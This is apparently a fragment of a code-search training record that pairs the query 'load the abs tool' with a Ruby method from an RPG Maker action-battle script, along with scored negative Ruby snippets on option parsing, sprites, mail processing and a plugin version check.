"def parsed_options?\n @optparse = OptionParser.new do |opts|\n \n # A usage banner\n opts.banner = \"Usage: #{File.basename($0)} [options]\"\n \n # Returns the current version of the tool\n opts.on_tail('-v', '--version', \"Display version\") { output_version ; exit 0 }\n \n # Quick distribution\n options[:quickpkg] = nil\n opts.on( '-Q', '--quickpkg <app>', 'Create a quick application distribution (simple)' ) do |app|\n options[:quickpkg] = app\n end\n \n # Create a new project\n options[:createproj] = nil\n opts.on_head( '-C', '--createproj <dir>', String, 'Create a project directory (advanced)' ) do |proj|\n options[:createproj] = proj\n end\n \n # Specify an existing project\n options[:projectdir] = nil\n opts.on_head( '-D', '--projectdir <dir>', String, 'Specify a project directory to work with' ) do |dir|\n options[:projectdir] = dir\n end\n \n # Update the Radmind command file\n options[:ktcheck] = nil\n opts.on( '-K', '--ktcheck', 'Update the Radmind client command file' ) do |check|\n options[:ktcheck] = check\n # puts \"Updating the client's command file: #{options[:ktcheck]}\"\n end\n\n # Convert a Radmind transcript\n options[:convert] = nil\n opts.on( '-t', '--tconvert <transcript>', 'Convert a createable transcript to an appliable transcript' ) do |transcript|\n options[:tconvert] = transcript\n end\n\n # Fetch a converted Radmind loadset\n options[:fetch] = nil\n opts.on( '-f', '--fetch <transcript>', 'Fetch a converted Radmind transcript' ) do |transcript|\n options[:fetch] = transcript\n end\n \n # Specify a radmind host\n options[:radhost] = nil\n opts.on( '-h', '--radhost <host>', 'Specify the Radmind server host' ) do |host|\n options[:radhost] = host\n end\n\n # Generate the boilerplate\n options[:boil] = nil\n opts.on( '-b', '--boil', 'Generate boilerplate ' ) do |boil|\n options[:boil] = boil\n end\n \n # Package up the project's pkgroot\n options[:package] = nil\n opts.on('-p', '--package', 'Package your project ') do |package|\n options[:package] = package\n end\n\n # Archive the package inside a disk image\n options[:rollup] = nil\n opts.on('-r', '--rollup', 'Create a disk image of your package ') do |rollup|\n options[:rollup] = rollup\n end\n \n # Use Radmind security?\n options[:security] = nil\n opts.on( '-w', '--secure <level>', 'Use security level 0, 1 or 2 for Radmind operations' ) do |level|\n options[:secure] = level\n end\n\n # Use Radmind checksums\n options[:cksum] = nil\n opts.on( '-c', '--cksum <hash>', 'Update the Radmind client command file' ) do |hash|\n options[:cksum] = hash\n end\n \n # Prints a detailed help message\n opts.on_tail('--help', 'Show detailed help and information') do\n output_version\n output_help\n end\n \n end\n \n # Parse the options\n # * A non-successful parse operation presents a list of the acceptable options\n begin\n @optparse.parse!\n rescue => error\n puts error.message + \"\\n\"\n puts @optparse\n exit 1\n end\n\n # Pre-process the options before we validate them\n process_options\n true\n \n end",
"def run_analysis\n prepare_pml\n unless analysis_entry\n die(\"Analysis entry '#{options.analysis_entry}' not found (check for typos, inlined functions or code not reachable from program entry)\")\n end\n options.use_trace_facts = true if options.compare_trace_facts\n options.trace_analysis = true if options.use_trace_facts\n trace_analysis if options.trace_analysis\n sweet_analysis if options.enable_sweet\n transform_down([\"llvm.bc\"],\"llvm\")\n transform_down([\"user.bc\"],\"user\")\n\n flow_srcs = [\"llvm\", \"user\"]\n wcet_analysis(flow_srcs) if options.compare_trace_facts\n\n flow_srcs.push(\"trace\") if options.use_trace_facts\n flow_srcs.push(\"sweet\") if options.enable_sweet\n\n # FIXME: check if this is necessary (CFRG testsuite)\n flow_srcs.push(\"trace.support\") if options.enable_sweet && options.trace_analysis\n\n # TODO we should (also?) add a 'configuration' name to the TimingEntry that refers to an analysis-configuration name\n options.timing_output = [options.timing_output,'trace'].compact.join('/') if options.use_trace_facts\n\n wcet_analysis(flow_srcs)\n report(additional_report_info)\n pml\n end",
"def check_conventions\n\tcheck_encoding\n\tcheck_yaml\n\tcheck_merge\n\tcheck_cucumber\n\tcheck_ruby\nend",
"def run\n # Run all the steps below. Stop as soon as one of them returns\n # false or throws an error.\n true &&\n fetch_internal_date_and_size &&\n check_for_really_old_internal_date &&\n check_for_pre_creation_internal_date &&\n check_for_relapsed_internal_date &&\n check_for_big_messages &&\n fetch_uid_envelope_rfc822 &&\n update_user_mark_email_processed &&\n handle_tracer_email &&\n check_for_duplicate_message_id &&\n check_for_duplicate_sha1 &&\n create_mail_log &&\n deploy_webhook &&\n update_daemon_stats\n ensure\n clean_up\n end",
"def run \n if parsed_options? && arguments_valid? \n puts \"Start at #{DateTime.now}\"\n process_arguments(@validoptions.args)\n puts \"Finished at #{DateTime.now}\"\n else\n raise BoilerMakerErr.new(\"Could not parse options. An unknown error has ocurred.\")\n exit $!\n end\n end",
"def run\n super\n \n require_enrichment\n \n # check our fingerprints for a version\n our_version = nil\n fp = _get_entity_detail(\"fingerprint\")\n fp.each do |f|\n if f[\"vendor\"] == \"Wordpress\" && f[\"product\"] == \"Loginizer\"\n our_version = f[\"version\"]\n break\n end\n end\n \n if our_version\n _log \"Got version: #{our_version}\"\n else\n _log_error \"Unable to get version, failing.\"\n return\n end\n \n # check the version to see if its vulnerable.\n # versions smaller than 1.6.4 are vulnerable as per https://wpdeeply.com/loginizer-before-1-6-4-sqli-injection/\n _log \"Checking version against known vulnerable versions\"\n \n if ::Versionomy.parse(our_version) < ::Versionomy.parse(\"1.6.4\")\n _log_good \"Vulnerable!\"\n _create_linked_issue(\"wordpress_loginizer_cve_2020_27615\", {\n proof: {\n detected_version: our_version\n }\n })\n else\n _log \"Not vulnerable!\"\n end\n end",
"def process(files) #called at end of script\n if files.class==Array \n files.each {|f| \n puts \"\\n\\n--------------------\\n#{f}:\\n\\n\"\n result=system(\"#{$PROGRAM_NAME} #{f} #{ARGV}\")\n puts \"\\n\\nERRORS IN TEST #{f}!!!\\n\\n\" unless result\n }\n else\n test_name=File.basename(files).sub(/\\..*?$/,'')\n test_case=Class.new(Test::Unit::TestCase)\n Object.const_set(:\"Test#{test_name.capitalize}\", test_case)\n mk_test_context(files, test_case)\n end\nend",
"def check_perforce\n begin \n perforce_raw = IO.popen('p4')\n perforce_check = true\n rescue\n pertest_gui_raw = IO.popen('ls /Applications')\n pertest_gui = pertest_gui_raw.readlines\n pertest_gui_list = pertest_gui.map { |a| a.strip }\n if pertest_gui_list.include?('p4v.app') || pertest_gui_list.include?('p4admin.app') || pertest_gui_list.include?('p4merge.app')\n perforce_check = true\n else\n perforce_check = false\n end\n end\n end"
] |
[
"0.6355947",
"0.63529354",
"0.6146238",
"0.60259074",
"0.60054994",
"0.59902626",
"0.59874237",
"0.5971715",
"0.5957396",
"0.592961",
"0.5899867",
"0.58807075",
"0.5835918",
"0.58157206",
"0.57754046",
"0.5729184",
"0.5723038",
"0.57070875",
"0.5686424",
"0.56852263",
"0.56581616",
"0.5599322",
"0.5597841",
"0.5593431",
"0.5589977",
"0.5571474",
"0.5553786",
"0.5544031",
"0.5539619",
"0.5524248",
"0.55183345",
"0.55109197",
"0.54907596",
"0.5489968",
"0.54791343",
"0.5472338",
"0.5442659",
"0.5435562",
"0.5435562",
"0.5433588",
"0.542086",
"0.5419114",
"0.54181045",
"0.5413246",
"0.5410508",
"0.5400989",
"0.53924817",
"0.5381264",
"0.5373326",
"0.535716",
"0.5356871",
"0.5356133",
"0.5355254",
"0.53475803",
"0.53467286",
"0.5340569",
"0.5337038",
"0.5317533",
"0.5305462",
"0.5289104",
"0.5287963",
"0.5285508",
"0.5278354",
"0.52776015",
"0.52772886",
"0.52754384",
"0.5266049",
"0.5265828",
"0.52588797",
"0.52528316",
"0.52431726",
"0.52323586",
"0.5231255",
"0.52299124",
"0.52262026",
"0.52261686",
"0.5223473",
"0.5221273",
"0.5219688",
"0.52154875",
"0.5209857",
"0.5207177",
"0.5204724",
"0.5200352",
"0.52002317",
"0.52002317",
"0.5195097",
"0.5194493",
"0.5191245",
"0.518858",
"0.51846313",
"0.51846313",
"0.5183013",
"0.5182826",
"0.516762",
"0.5161766",
"0.51605564",
"0.5157162",
"0.5155938",
"0.5154833"
] |
0.5753044
|
15
|
load the abs tool
|
def load_abs_tool(item)
return if @knockdown_data[0] > 0
PearlKernel.load_item(item)
return if self.is_a?(Game_Follower) and @targeted_character.nil?
if !@targeting[0] and self.battler.is_a?(Game_Actor)
if item.is_a?(RPG::Skill) || item.is_a?(RPG::Item)
# apply target to skills items
if PearlKernel.tool_target == "true" || item.scope == 7 ||
item.scope == 9
load_target_selection(item)
return
end
else
# apply target parsing the invoked skill to weapons and armors
invoke = PearlKernel.tool_invoke
if invoke != nil && invoke > 0 && invoke != 1 && invoke != 2
invokeskill = $data_skills[invoke]
if PearlKernel.tool_target == "true" || invokeskill.scope == 7 ||
invokeskill.scope == 9
load_target_selection(item)
return
end
# apply target to normal weapon and armor without invoking
else
if PearlKernel.tool_target == "true"
load_target_selection(item)
return
end
end
end
end
if item.is_a?(RPG::Skill) || item.is_a?(RPG::Item)
battler.use_item(item)
else
if PearlKernel.tool_invoke != 0
battler.use_item($data_skills[PearlKernel.tool_invoke])
end
end
# if the tool has data continue
if PearlKernel.has_data?
consume_ammo_item(item) if battler.is_a?(Game_Actor) and
PearlKernel.tool_itemcost != 0
@anime_speed = PearlKernel.user_animespeed
battler.apply_cooldown(item, PearlKernel.tool_cooldown)
end
create_projectile_object(item)
create_anime_sprite_object(item)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def loadAbs _args\n \"loadAbs _args;\" \n end",
"def command_rel(elts)\n\n load(__FILE__)\n end",
"def toys_load_tool(cmd, cli: nil, &block)\n cli ||= toys_cli\n cmd = ::Shellwords.split(cmd) if cmd.is_a?(::String)\n cli.load_tool(*cmd, &block)\n end",
"def load_tool(relative_path)\n require \"#{VSCODE_SCRIPT_PATH}/tools/#{relative_path}\"\n end",
"def load\n instance_eval File.read(@path).tap(&Gem::UNTAINT), @path, 1\n\n self\n end",
"def load_game\n require './game/setup.rb'\n end",
"def load_minimal_gems\r\n end",
"def test_relative_loadpath1_ilib\n with_fixture 'relloadpath1' do\n assert system('ruby', '-I', 'lib', ocra, 'relloadpath1.rb', *DefaultArgs)\n assert File.exist?('relloadpath1.exe')\n assert system('relloadpath1.exe')\n end\n end",
"def test_relative_loadpath_idotlib\n with_fixture 'relloadpath1' do\n assert system('ruby', '-I', './lib', ocra, 'relloadpath1.rb', *DefaultArgs)\n assert File.exist?('relloadpath1.exe')\n assert system('relloadpath1.exe')\n end\n end",
"def test_relative_loadpath2_idotdotlib\n with_fixture 'relloadpath2' do\n cd 'src' do\n assert system('ruby', '-I', '../lib', ocra, 'relloadpath2.rb', *DefaultArgs)\n assert File.exist?('relloadpath2.exe')\n assert system('relloadpath2.exe')\n end\n end\n end",
"def load_cli_options\n cli_options_file = File.join(spec.full_gem_path, \"lib/#{spec.name}/cli.rb\")\n require cli_options_file if File.exists?(cli_options_file)\n end",
"def load_tool_part\n @tool_part = ToolPart.accessible_by(current_ability).find(params[:id])\n end",
"def use_tool\n @hammer.swing!\n end",
"def test_relloadpath4\n with_fixture 'relloadpath4' do\n cd 'src' do\n assert system('ruby', ocra, 'relloadpath4.rb', *DefaultArgs)\n assert File.exist?('relloadpath4.exe')\n assert system('relloadpath4.exe')\n end\n end\n end",
"def test_relloadpath3\n with_fixture 'relloadpath3' do\n assert system('ruby', ocra, 'relloadpath3.rb', *DefaultArgs)\n assert File.exist?('relloadpath3.exe')\n assert system('relloadpath3.exe')\n end\n end",
"def initialise(loadfile)\n\n # Initialise steps\n\n phases = Phases.new\n $commands = Commands.new\n \n if $testing == 1\n require_relative 'Testing.rb'\n require_relative '../Extra/Parser.rb'\n end\n \n if $debugplay == 1\n $debug.debugplay\n end\n \n # Initialise graphics if graphics mode is on\n #if $graphics == 1\n #require 'RMagick'\n require_relative '../Graphics/GraphicsHandler.rb'\n #graphicsinit\n #end\n \n #system(\"unzip ../Resources/Images.zip\")\n \n \n # Load game\n if $loadgame == true\n loadgame(loadfile)\n end\n \n # Set command authentication levels\n IO.foreach(\"cards.txt\") { |line| puts line }\n \nend",
"def loadScripts\n load \"su2dslib/preferences.rb\"\n load \"su2dslib/exportbase.rb\"\n load \"su2dslib/interface.rb\"\n load \"su2dslib/numeric.rb\"\n load \"su2dslib/material.rb\"\n load \"su2dslib/radiance_entities.rb\"\n load \"su2dslib/radiancescene.rb\"\n load \"su2dslib/location.rb\"\n load \"su2dslib/resultsgrid.rb\"\nend",
"def my_aide(_args)\n system(\"less #{__dir__}/../docs/aide_admin\")\n end",
"def require_faux_gem\n rel_main = \"./#{real_main_file_name}\"\n Dir.chdir( folder_lib ){\n require \"./#{real_main_file_name}\"\n }\n end",
"def load\r\n\t\tload_file\r\n\t\tconfigure\r\n\tend",
"def load\n\t\tsource = self.depfile.read\n\t\tself.instance_eval( source, self.depfile.to_s, 1 )\n\tend",
"def load_standalone_tool(course)\n navigate_to \"#{Utils.junction_base_url}/canvas/course_grade_export/#{course.site_id}\"\n end",
"def actual_load_commands\n include_in_universe\n end",
"def test_relative_require\n with_fixture 'relativerequire' do\n assert system(\"ruby\", ocra, \"relativerequire.rb\", *DefaultArgs)\n assert File.exist?(\"relativerequire.exe\")\n system(\"relativerequire.exe\")\n assert_equal 160, $?.exitstatus\n end\n end",
"def load!; end",
"def script_load(script); end",
"def load_script(file); end",
"def loadFile _args\n \"loadFile _args;\" \n end",
"def load(filename)\n run \"load #{OptArg.quote(filename)}\"\n nil\n end",
"def test_relative_loadpath_rubylibdotlib\n with_fixture 'relloadpath1' do\n with_env 'RUBYLIB' => './lib' do\n assert system('ruby', ocra, 'relloadpath1.rb', *DefaultArgs)\n assert File.exist?('relloadpath1.exe')\n assert system('relloadpath1.exe')\n end\n end\n end",
"def absolute_gem_binary\n ::File.expand_path(gem_binary, path)\n end",
"def load; end",
"def load; end",
"def load; end",
"def load\n end",
"def spawn\n\t\t\tputs \"loading ruby script: #{@exec}\"\n\t\t\tdaemonize('load') do |command|\n\t\t\t\tcmd = Shellwords.split(command)\n\t\t\t\tfile = cmd.shift\n\n\t\t\t\t# reset ARGV\n\t\t\t\tObject.instance_eval{ remove_const(:ARGV) }\n\t\t\t\tObject.const_set(:ARGV, cmd)\n\n\t\t\t\t# reset $0\n\t\t\t\t$0 = file\n\n\t\t\t\t# reset $*\n\t\t\t\t$*.replace(cmd)\n\n\t\t\t\tload file\n\n\t\t\t\t# make sure we exit if loaded file won't\n\t\t\t\texit 0\n\t\t\tend\n\t\tend",
"def rake\n app.init 'webby'\n app.load_rakefile\n load_command_line_options\n app.top_level\n end",
"def setup\n bin = File.basename $0\n name = bin.underscore\n\n erb_src_path = ::Thor::ROOT.join 'support',\n 'completion',\n 'complete.inc.bash.erb'\n\n erb_src = erb_src_path.read\n\n bash_src = binding.erb erb_src\n\n puts bash_src\n\n nil\n end",
"def show\n @tools = @tool_type.tools\n end",
"def autoloader; end",
"def loadOverlay _obj, _args\n \"_obj loadOverlay _args;\" \n end",
"def test_relative_loadpath_rubyliblib\n with_fixture 'relloadpath1' do\n with_env 'RUBYLIB' => 'lib' do\n assert system('ruby', ocra, 'relloadpath1.rb', *DefaultArgs)\n assert File.exist?('relloadpath1.exe')\n assert system('relloadpath1.exe')\n end\n end\n end",
"def load_no_focus_lib=(_arg0); end",
"def start\n require 'irbtools'\n end",
"def my_aide(_args)\n system(\"less #{__dir__}/../docs/aide\")\n end",
"def load _args\n \"load _args;\" \n end",
"def load_actions\n bin_dir = File.dirname($0)\n main_dir = File.dirname(bin_dir)\n\n lib_dir = File.join(main_dir, \"lib\")\n a_lib_dir = lib_dir + \"/a_actions\"\n a_files = Dir[File.join(a_lib_dir, \"*.rb\")]\n\n Dir[File.join(a_lib_dir, \"*.rb\")].each do |file|\n f = a_lib_dir + \"/\" + File.basename(file.gsub(/\\.rb$/,''))\n Helpers::log \"Loading action: #{f}\"\n require f\n end\n end",
"def load\n end",
"def load\n end",
"def load\n end",
"def load_lab_app_lib_files\n libFiles = File.dirname(__FILE__) + \"/../lib/*.rb\"\n Dir[libFiles].each do |file|\n fullpath = File.expand_path(file)\n puts \"Loading your file #{fullpath}\"\n require fullpath\n end\n end",
"def load()\n\n checkFileExists()\n loadConfigs()\n checkConfigs() \n end",
"def load fname=Dir[\"dumps/atari_*.bin\"].sort.last\n hsh = File.open(fname, 'r') { |f| Marshal.load f }\n initialize hsh[:config]\n opt.instance_variable_set :@best, hsh[:best]\n opt.instance_variable_set :@mu, hsh[:mu]\n opt.instance_variable_set :@sigma, hsh[:sigma]\n compr.instance_variable_set :@centrs, hsh[:centrs]\n # Uhm haven't used that yet...\n # what else needs to be done in order to be able to run `#show_ind` again?\n puts \"Experiment data loaded from `#{fname}`\"\n true\n end",
"def load\n end",
"def load\n end",
"def init\n require File.expand_path( '../irbtools.rb', File.dirname(__FILE__) )\n end",
"def load_gem_plugins; end",
"def air file\n jslib = normalize(\"lib\")\n if !File.exist?(jslib)\n begin \n puts \"Can't find #{jslib} necessary for Adobe AIR adl execution.\"\n\t\t print \"Would you like to (c)opy or (s)ymlink or (a)bort? (c/s/a): \" \n c = STDIN.gets.chomp.downcase\n end while ![\"c\", \"s\", \"a\"].include? c\n\n case c\n when \"c\" \n vendorize_with_copy\n when \"s\"\n vendorize_with_symlink\n when \"a\"\n exit\n end\n end\n system \"adl #{file}\"\n end",
"def load_and_run!\n File.open(@pathfile, \"w\") { |f| f.write(@pathfile_contents) }\n Pathological.add_paths!(@load_path)\n end",
"def initialize(script)\n @script = File.expand_path(script)\n @mount = File.basename(script, '.rb')\n @requires = nil\n load_app\n end",
"def pkg_binary; \"pacaur\" end",
"def load_embedded_tool(driver, course)\n navigate_to \"#{Utils.canvas_base_url}/courses/#{course.site_id}/external_tools/#{Utils.canvas_e_grades_export_tool}\"\n switch_to_canvas_iframe driver\n end",
"def barista_init(options)\n pot = Pot.new(\"cfg/#{options[:target]}.cfg\")\n pot.save\nend",
"def whereami() [__FILE__] end",
"def load\r\n \r\n end",
"def manifest() @opts.manifest; end",
"def tools\n @tools ||= TOOLS\n end",
"def test_resource\n with_fixture 'resource' do\n assert system(\"ruby\", ocra, \"resource.rb\", \"resource.txt\", \"res/resource.txt\", *DefaultArgs)\n assert File.exist?(\"resource.exe\")\n assert system(\"resource.exe\")\n end\n end",
"def load_library\n\t\t#wget some url\n\tend",
"def load!\n # TODO Don't load a module that's already loaded\n\n # Load the main file\n fname = path(\"#{name}.rb\")\n require fname unless fname.nil?\n\n # Load the basic things usually autoloaded.\n Dir[\"#{@path}/{init,models,routes,helpers}/*.rb\"].each { |f| require f }\n\n # Ensure public/ works\n public_path = path(:public)\n Main.add_public(public_path) unless public_path.nil?\n\n # Add the view path, if it has\n if path(:views)\n paths = [path(:views)]\n paths += Main.multi_views if Main.respond_to?(:multi_views)\n Main.set :multi_views, paths\n end\n end",
"def tools_setup(config)\n config[:tools].each_key do |name|\n tool = config[:tools][name]\n\n # populate name if not given\n tool[:name] = name.to_s if (tool[:name].nil?)\n\n # handle inline ruby string substitution in executable\n if (tool[:executable] =~ RUBY_STRING_REPLACEMENT_PATTERN)\n tool[:executable].replace(@system_wrapper.module_eval(tool[:executable]))\n end\n\n # populate stderr redirect option\n tool[:stderr_redirect] = StdErrRedirect::NONE if (tool[:stderr_redirect].nil?)\n\n # populate background execution option\n tool[:background_exec] = BackgroundExec::NONE if (tool[:background_exec].nil?)\n\n # populate optional option to control verification of executable in search paths\n tool[:optional] = false if (tool[:optional].nil?)\n end\n end",
"def activate\n #Radiant::Config[\"tools\"] ||= \"i18n_date i18n_archive_title reverse_breadcrumbs asset_helpers\"\n\n RadiantTools.init(Radiant::Config[\"tools\"] || :all)\n end",
"def load(wrap=false)\n resolve_load_path\n load_file(wrap)\n end",
"def local_gem(*args)\n load_local_gem(args[0]) || gem(*args)\n end",
"def setup_file\n self.setup_path \n end",
"def loader; end",
"def tool( *modules, &block )\n machine.tool *modules\n if block_given?\n tool = Module.new\n tool.module_eval &block\n machine.tools << tool\n end\n # inject them into self for immediate use\n modules.flatten.extend( ToolArray ).inject_into( self )\n end",
"def setup()\n @strm = IO::popen(\"#{@commandPath} #{@commandOpts}\",'r+') ;\n call(\"display2d:false;\")\n call(\"linel:1000000000;\")\n end",
"def usage\n puts \"usage: isf2asc.rb isf_filename\"\nend",
"def cli_path; end",
"def tool\n name.split('_')[0]\n end",
"def usage\n puts \"Usage: akaza exec|wsrb|exec_wsrb FILE_NAME\"\nend",
"def load_boot\n begin\n ENV['BUNDLE_GEMFILE'] = File.join(options[:root], \"Gemfile\") if options[:root]\n rescue Exception => e\n puts \"=> Problem loading #{boot}\"\n puts [\"=> #{e.message}\", *e.backtrace].join(\"\\n \")\n end\n end",
"def load_boot\n begin\n ENV['BUNDLE_GEMFILE'] = File.join(options[:root], \"Gemfile\") if options[:root]\n rescue Exception => e\n puts \"=> Problem loading #{boot}\"\n puts [\"=> #{e.message}\", *e.backtrace].join(\"\\n \")\n end\n end",
"def script(script_file)\n load script_file\n\n self\n end",
"def load_from(gem)\n files = Find.path(CONFIG_FILE, :from=>gem)\n file = files.find{ |f| File.file?(f) }\n new(*file)\n\n #if file\n # paths = [file]\n #else\n # #paths = Find.path(CONFIG_DIR + '/**/*', :from=>gem)\n #end\n #files = paths.select{ |path| File.file?(path) }\n #new(*files)\n end",
"def run\n require_relative File.join(absolute_path, 'main')\n Gamefic::Tty::Engine.run\n end",
"def load_runner(app = T.unsafe(nil)); end",
"def load_runner(app = T.unsafe(nil)); end",
"def load_stdapi()\n\t\toriginal = console.disable_output\n\n\t\tconsole.disable_output = true\n\t\tconsole.run_single('use stdapi')\n\t\tconsole.disable_output = original\n\tend",
"def work_tool(tool)### set and get\r\n @tool = tool\r\n puts \"#{@name} works using a #{@tool} #{return_phtest_writer}\"\r\n end",
"def autoloaders; end",
"def set_tool\n @tool = Tool.find(params[:id])\n end",
"def set_tool\n @tool = Tool.find(params[:id])\n end",
"def execute_app(app)\n $LOAD_PATH.unshift(Dir.pwd)\n Shoes.configuration.backend = :swt\n load app\n end",
"def load_path; end",
"def fixLoadPath(oldpath,libpath,target)\n debug \"#{$install_name_tool} -change #{oldpath} #{$executableId}#{libpath} #{target}\"\n `#{$install_name_tool} -change #{oldpath} #{$executableId}#{libpath} #{target}`\nend",
"def load_setup\n setupFile = @properties[\"config/setup_file\"]\n return unless (setupFile and File.exist?(setupFile))\n file = File.new(setupFile)\n setup = file.read\n file.close\n instance_eval(setup)\n end",
"def setup(*_)\n require 'reaper-man'\n location = ReaperMan::Signer::HELPER_COMMAND\n if(location.include?('jar!'))\n tmp_file = Tempfile.new('reaper-man')\n new_location = File.join(Dir.home, File.basename(tmp_file.path))\n tmp_file.delete\n File.open(new_location, 'w') do |file|\n file.puts File.read(location)\n end\n File.chmod(0755, new_location)\n ReaperMan::Signer.send(:remove_const, :HELPER_COMMAND)\n ReaperMan::Signer.const_set(:HELPER_COMMAND, new_location)\n warn \"Updated ReaperMan utility script location: #{new_location}\"\n end\n end",
"def ld(lib)\n load lib.to_s + '.rb'\n end"
] |
[
"0.66374034",
"0.6256616",
"0.6100031",
"0.5788482",
"0.5771815",
"0.5605136",
"0.5578961",
"0.55543673",
"0.5532871",
"0.5493828",
"0.54401565",
"0.54016304",
"0.5396659",
"0.5376449",
"0.536308",
"0.52692825",
"0.52663344",
"0.52656895",
"0.5250877",
"0.52222157",
"0.5207246",
"0.51629716",
"0.5147191",
"0.51384807",
"0.51377255",
"0.5130687",
"0.51285684",
"0.5125107",
"0.5122856",
"0.51185447",
"0.5113298",
"0.5097865",
"0.5097865",
"0.5097865",
"0.5087661",
"0.5071725",
"0.5067304",
"0.50579566",
"0.5055734",
"0.5050161",
"0.504485",
"0.5024623",
"0.50232136",
"0.5022472",
"0.5015126",
"0.50143427",
"0.50029916",
"0.4989056",
"0.4989056",
"0.4989056",
"0.49774387",
"0.49773157",
"0.49702728",
"0.49645376",
"0.49645376",
"0.4963343",
"0.4961309",
"0.49298868",
"0.49212527",
"0.49146858",
"0.49119183",
"0.49112505",
"0.49094582",
"0.4899113",
"0.4897813",
"0.4896019",
"0.4893813",
"0.48911378",
"0.48905084",
"0.48902524",
"0.48800647",
"0.48764074",
"0.48685837",
"0.48604602",
"0.4859825",
"0.48593634",
"0.4856453",
"0.48526794",
"0.48444545",
"0.4843473",
"0.48379236",
"0.48333222",
"0.48297024",
"0.48297024",
"0.4813861",
"0.4810302",
"0.48063877",
"0.47975206",
"0.47975206",
"0.4795083",
"0.4786022",
"0.47849905",
"0.47821328",
"0.47821328",
"0.4777766",
"0.47769475",
"0.47748032",
"0.47732097",
"0.47686177",
"0.47603354"
] |
0.572897
|
5
|
User anime sprite creation
|
def create_anime_sprite_object(item)
$game_player.anime_action.each {|i|
if i.user == self
if i.custom_graphic
@transparent = false
i.user.using_custom_g = false
end
$game_player.anime_action.delete(i)
end}
if PearlKernel.user_graphic != "nil"
return if PearlKernel.user_graphic.nil?
$game_player.anime_action.push(Anime_Obj.new(self, item))
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def main_sprite ; end",
"def create_oneanim_sprite\n @one_anim = Sprite_OneAnim.new(@viewport1)\n end",
"def call_idle(sprite, anime)\n $game_player.set_step_anime(anime)\n $game_player.set_graphic(sprite)\n end",
"def call_idle(sprite, anime)\n $game_player.set_step_anime(anime)\n $game_player.set_graphic(sprite, $game_player.character_index)\n end",
"def main_sprite\r\n super\r\n # Make game over graphic\r\n @sprite = Sprite.new\r\n @sprite.bitmap = RPG::Cache.gameover($data_system.gameover_name)\r\n end",
"def create_gameover_graphic\n @sprite = Sprite.new\n @sprite.bitmap = Cache.system(\"GameOver\")\n end",
"def create_action_sprites(width2)\n @sprites.push_sprite(Button.new(@viewport, width2, 50, ext_text(8997, 29)))\n @poke_action = @sprites.push_sprite(Button.new(@viewport, width2, 100, @uploaded ? ext_text(8997, 30) : ext_text(8997, 31)))\n @sprites.push_sprite(Button.new(@viewport, width2, 150, ext_text(8997, 7)))\n end",
"def handleUpdate(sprite) end",
"def createSprite(*args, **kwargs)\n addSprite Sprite.new(*args, **kwargs, context: self)\n end",
"def create_spriteset_and_background\n super(ext_text(8997, 19))\n end",
"def create_trainer_sprite\n @trainer_sprite = Sprite.new(@viewport)\n .set_bitmap(PLAYER_SPRITE_NAME[$trainer.playing_girl], :interface)\n # Adjust the origin of the sprite since the TCard has a smaller surface for the sprite\n @trainer_sprite.set_origin((@trainer_sprite.width - PLAYER_SURFACE.first) / 2,\n (@trainer_sprite.height - PLAYER_SURFACE.last) / 2)\n @trainer_sprite.set_position(*PLAYER_COORDINATES)\n end",
"def create_action_sprites(width2)\n @sprites.push_sprite(Button.new(@viewport, width2, 75, ext_text(8997, 4)))\n @sprites.push_sprite(Button.new(@viewport, width2, 105, ext_text(8997, 5)))\n @sprites.push_sprite(Button.new(@viewport, width2, 135, ext_text(8997, 6)))\n @sprites.push_sprite(Button.new(@viewport, width2, 165, ext_text(8997, 7)))\n end",
"def create_maqj_picture\n @maqj_picture_sprite = Sprite.new\n @maqj_picture_sprite.bitmap = Cache.picture($game_system.quest_bg_picture)\n @maqj_picture_sprite.opacity = $game_system.quest_bg_opacity\n @maqj_picture_sprite.blend_type = $game_system.quest_bg_blend_type\n @maqj_picture_sprite.z = @background_sprite.z + 1 if @background_sprite\n end",
"def animation_sprite zombie, at = nil\n at ||= zombie.created_at_elapsed # how long it is has been since a zombie was created\n index = animation_index at\n \"sprites/zombie-#{index}.png\" # string interpolation to iterate through images\n end",
"def main_sprite\r\n super\r\n # Make title graphic\r\n @sprite = Sprite.new\r\n @sprite.bitmap = RPG::Cache.title($data_system.title_name)\r\n end",
"def create\n @sprite = Sprite.new(params[:sprite])\n @sprite.user_id = current_user.id\n \n respond_to do |format|\n if @sprite.save\n format.html { redirect_to @sprite, :notice => 'Sprite was successfully created.' }\n format.json { render :json => @sprite, :status => :created, :location => @sprite }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @sprite.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def sprites_tech_demo\n outputs.labels << [ 5, 170, \"Sprites (x, y, w, h, path, angle, a)\"]\n outputs.sprites << [ 10, 40, 128, 101, 'dragonruby.png']\n outputs.sprites << [ 150, 40, 128, 101, 'dragonruby.png', state.tick_count % 360] # angle changes\n outputs.sprites << [ 300, 40, 128, 101, 'dragonruby.png', 0, state.tick_count % 255] # transparency changes\n end",
"def how_to_animate_a_sprite args\n # STEP 1: Define when you want the animation to start. The animation in this case will start in 3 seconds\n start_animation_on_tick = 180\n\n # STEP 2: Get the frame_index given the start tick.\n sprite_index = start_animation_on_tick.frame_index count: 7, # how many sprites?\n hold_for: 8, # how long to hold each sprite?\n repeat: true # should it repeat?\n\n # STEP 3: frame_index will return nil if the frame hasn't arrived yet\n if sprite_index\n # if the sprite_index is populated, use it to determine the sprite path and render it\n sprite_path = \"sprites/explosion-#{sprite_index}.png\"\n args.nokia.sprites << { x: 42 - 16,\n y: 47 - 32,\n w: 32,\n h: 32,\n path: sprite_path }\n else\n # if the sprite_index is nil, render a countdown instead\n countdown_in_seconds = ((start_animation_on_tick - args.state.tick_count) / 60).round(1)\n\n args.nokia.labels << args.nokia\n .default_label\n .merge(x: 0,\n y: 18,\n text: \"Count Down: #{countdown_in_seconds.to_sf}\",\n alignment_enum: 0)\n end\n\n # render the current tick and the resolved sprite index\n args.nokia.labels << args.nokia\n .default_label\n .merge(x: 0,\n y: 11,\n text: \"Tick: #{args.state.tick_count}\")\n args.nokia.labels << args.nokia\n .default_label\n .merge(x: 0,\n y: 5,\n text: \"sprite_index: #{sprite_index}\")\nend",
